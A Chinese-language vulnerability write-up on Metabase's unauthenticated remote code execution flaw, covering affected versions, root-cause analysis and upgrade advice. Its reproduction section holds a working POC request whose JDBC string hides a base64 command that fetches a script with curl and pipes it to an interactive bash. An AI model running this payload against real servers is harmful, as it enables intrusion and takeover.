1.漏洞描述

Metabase是一个开源的数据分析和可视化工具,它可以帮助用户轻松地连接到各种数据源,包括数据库、云服务和API,然后使用直观的界面进行数据查询、分析和可视化。

Metabase open source 0.46.6.1之前的版本和Metabase Enterprise 1.46.6.1之前的版本存在一个漏洞,允许攻击者在服务器的权限级别上执行任意命令。利用时不需要身份验证。

2.影响版本

Metabase open source 0.46 < 0.46.6.1

Metabase Enterprise 1.46 < 1.46.6.1

Metabase open source 0.45 < v0.45.4.1

Metabase Enterprise 1.45 < 1.45.4.1

Metabase open source 0.44 < 0.44.7.1

Metabase Enterprise 1.44 < 1.44.7.1

Metabase open source 0.43 < 0.43.7.2

Metabase Enterprise 1.43 < 1.43.7.2

3.影响范围

4.漏洞复现

访问http://192.168.77.142:3000/api/session/properties

需要先获取到setup-token

POC

POST /api/setup/validate HTTP/1.1

Host: 192.168.77.142:3000

Content-Type: application/json

Upgrade-Insecure-Requests: 1

X-Forwarded-For: 127.0.0.1

Content-Length: 804



{

    "token": "89a6ac54-4d90-4db9-a8b7-9469be8b4848",

    "details":

    {

        "is_on_demand": false,

        "is_full_sync": false,

        "is_sample": false,

        "cache_ttl": null,

        "refingerprint": false,

        "auto_run_queries": true,

        "schedules":

        {},

        "details":

        {

            "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,Y3VybCAxOTIuMTY4Ljc3LjE0Mjo4ODY0LzEudHh0}|{base64,-d}|{bash,-i}')\n$$--=x",

            "advanced-options": false,

            "ssl": true

        },

        "name": "an-sec-research-team",

        "engine": "h2"

    }

}

5.漏洞分析

令牌泄露

在Metabase 进行安装时,存在一个特殊的令牌setup-token,按照官方预设的流程,一般来说其只能存在一次,在安装结束之后便会清除,但是官方完成安装后移除setup-token 这个重要的的操作给移除了。

https://github.com/metabase/metabase/commit/0526d88f997d0f26304cdbb6313996df463ad13f#diff-bf3f2797f327779cbbd6bfab7e45261c7ee93b29db6828d2ee0ad17acf4d7825L33

这导致了完成安装后 properties仍然存在setup-token

所以我们可以通过/api/session/properties来读取 setup-token


现在 我们已经拿到了 setup-token 以用于调用setup api。

JDBC RCE

src/metabase/api/setup.clj
存在路由/api/setup/validate,用于验证数据库是否连接成功

它会通过api.database/test-database-connection来处理输入的参数完成对数据库的校验
跟进到src/metabase/api/database.clj

就是一个JDBC Connection

根据pyn3rd师傅分享的https://blog.pyn3rd.com/2022/06/06/Make-JDBC-Attacks-Brillian-Again-I/可以知道,可以通过以下三种方式攻击H2数据库

  1. RUNSCRIPT FROM远程加载sql文件(需要出网)
  2. CREATE ALIAS使用Groovy替代原生Java来定义用户函数(需要Groovy依赖)
  3. CREATE TRIGGER配合 javascript 引擎构建代码执行

我们这里采用第三种方法,无需出网和额外依赖即可使用,javax.script.ScriptEngineManager是Java中用于执行脚本的引擎,只要代码的最开头是 //javascript ,就会被认为是JavaScript脚本,并编译和执行。

6.修复建议

目前官方已发布新版已经修复此漏洞,并且为受影响版本发布了补丁,建议用户尽快升级至最新版本。

官方下载地址:

https://github.com/metabase/metabase/releases

点赞(0) 打赏

评论列表 共有 0 条评论

暂无评论

微信公众账号

微信扫一扫加关注

发表
评论
返回
顶部